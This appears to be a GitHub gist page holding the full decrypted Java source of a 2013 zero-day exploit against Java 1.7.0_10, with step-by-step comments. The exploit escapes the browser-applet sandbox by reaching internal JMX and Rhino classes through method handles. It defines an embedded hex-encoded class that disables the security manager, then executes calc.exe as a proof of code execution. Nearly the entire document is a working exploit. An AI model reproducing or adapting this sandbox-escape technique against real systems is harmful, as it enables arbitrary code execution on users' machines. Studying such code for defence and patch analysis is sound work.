Created
January 11, 2013 08:49
-
-
Save anonymous/4509036 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Java 0day 1.7.0_10 decrypted source | |
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0 | |
From Russia with love. | |
*/ | |
import java.lang.invoke.MethodHandle; | |
import java.lang.invoke.MethodHandles; | |
import java.lang.invoke.MethodType; | |
import java.security.AccessController; | |
import java.security.PrivilegedExceptionAction; | |
import com.sun.jmx.mbeanserver.JmxMBeanServer; | |
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; | |
import com.sun.jmx.mbeanserver.MBeanInstantiator; | |
@SuppressWarnings({ "restriction" }) | |
public class Exploit { | |
public static byte[] hex2Byte(String paramString) { | |
byte[] arrayOfByte = new byte[paramString.length() / 2]; | |
for (int i = 0; i < arrayOfByte.length; i++) { | |
arrayOfByte[i] = (byte) Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16); | |
} | |
return arrayOfByte; | |
} | |
public static byte[] B$class_bytes = hex2Byte("CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017"); | |
// Decompilation credit to benmmurphy | |
// http://www.reddit.com/r/netsec/comments/16b4n1/0day_exploit_fo_java_17u10_spotted_in_the_wild/c7ulpd7 | |
// basically, it's this, as if this were compiled and saved on disk. | |
static class B implements PrivilegedExceptionAction<Object> { | |
public B() { | |
try { | |
AccessController.doPrivileged(this); | |
} catch (Exception e) { | |
} | |
} | |
public Object run() { | |
// This basically removes the security manager | |
System.setSecurityManager(null); | |
return new Object(); | |
} | |
} | |
@SuppressWarnings("rawtypes") | |
public void init() { | |
try { | |
// ================================================================ | |
// STEP 0: get introspection objects | |
// Conveniences | |
ClassLoader null_ClassLoader = null; | |
Object[] _zero_args_ = {}; | |
// "Returns a lookup object which is trusted minimally. | |
// It can only be used to create method handles to publicly | |
// accessible fields and methods." | |
MethodHandles.Lookup lookup = MethodHandles.publicLookup(); | |
// Used to load the "sun.org.mozilla.javascript.internal.*" classes | |
// Looks like these classes load some normally inaccessible | |
// libraries. Can't find any good documentation on them. | |
MBeanInstantiator localMBeanInstantiator = ((JmxMBeanServer) new JmxMBeanServerBuilder().newMBeanServer("", | |
null, null)).getMBeanInstantiator(); | |
// Used to invoke reflection on the javascript classes | |
// method type: MethodHandle <method> (Class, String, MethodType) | |
MethodType mt_MethodHandle__Class_String_MethodType = MethodType.methodType(MethodHandle.class, | |
Class.class, new Class[] { String.class, MethodType.class }); | |
// MethodHandles.Lookup.findVirtual(Class, String, MethodType) | |
MethodHandle MethodHandles$Lookup$findVirtual = lookup.findVirtual(MethodHandles.Lookup.class, | |
"findVirtual", mt_MethodHandle__Class_String_MethodType); | |
// method type: MethodHandle <method> (Class, MethodType) | |
MethodType mt_MethodHandle__Class_MethodType = MethodType.methodType(MethodHandle.class, Class.class, | |
new Class[] { MethodType.class }); | |
// MethodHandles.Lookup.findConstructor(Class, MethodType) | |
MethodHandle MethodHandles$Lookup$findConstructor = lookup.findVirtual(MethodHandles.Lookup.class, | |
"findConstructor", mt_MethodHandle__Class_MethodType); | |
// ================================================================ | |
// STEP 1: Load the GeneratedClassLoader interface that declares a | |
// public | |
// "defineClass" method so we can take our bytes and turn it into a | |
// live Java Class. | |
Class GeneratedClassLoader$class = localMBeanInstantiator.findClass( | |
"sun.org.mozilla.javascript.internal.GeneratedClassLoader", null_ClassLoader); | |
// ================================================================ | |
// STEP 2: Create a Javascript "Context" to get a reference to a | |
// Javascript GeneratedClassLoader via | |
// "Context.createClassLoader(ClassLoader)". | |
Class Context$class = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", | |
null_ClassLoader); | |
MethodType mt_Void__Void = MethodType.methodType(Void.TYPE); | |
MethodHandle Context$Context = (MethodHandle) MethodHandles$Lookup$findConstructor | |
.invokeWithArguments(new Object[] { lookup, Context$class, mt_Void__Void }); | |
Object jsContext = Context$Context.invokeWithArguments(_zero_args_); | |
// ================================================================ | |
// STEP 3: Create a GeneratedClassLoader object. | |
MethodType mt_GeneratedClassLoader__ClassLoader = MethodType.methodType(GeneratedClassLoader$class, | |
ClassLoader.class); | |
MethodHandle Context$createClassLoader = (MethodHandle) MethodHandles$Lookup$findVirtual | |
.invokeWithArguments(new Object[] { lookup, Context$class, "createClassLoader", | |
mt_GeneratedClassLoader__ClassLoader }); | |
Object generatedClassLoader = Context$createClassLoader | |
.invokeWithArguments(new Object[] { jsContext, null }); | |
// ================================================================ | |
// STEP 4: Define the class "B" - the bytes "B$class_bytes" is | |
// basically what you would get "on disk" if you compiled the "B" | |
// class. | |
MethodType mt_Class__String_bytearray = MethodType.methodType(Class.class, String.class, | |
new Class[] { byte[].class }); | |
MethodHandle GeneratedClassLoader$defineClass = (MethodHandle) MethodHandles$Lookup$findVirtual | |
.invokeWithArguments(new Object[] { lookup, GeneratedClassLoader$class, "defineClass", | |
mt_Class__String_bytearray }); | |
Class B$class = (Class) GeneratedClassLoader$defineClass.invokeWithArguments(new Object[] { | |
generatedClassLoader, null, B$class_bytes }); | |
// ================================================================ | |
// STEP 5: Create a new "B" object, which disables the security manager in it's constructor | |
B$class.newInstance(); | |
// ================================================================ | |
// PROFIT!!!1! | |
Runtime.getRuntime().exec("calc.exe"); | |
} catch (Throwable ex) { | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment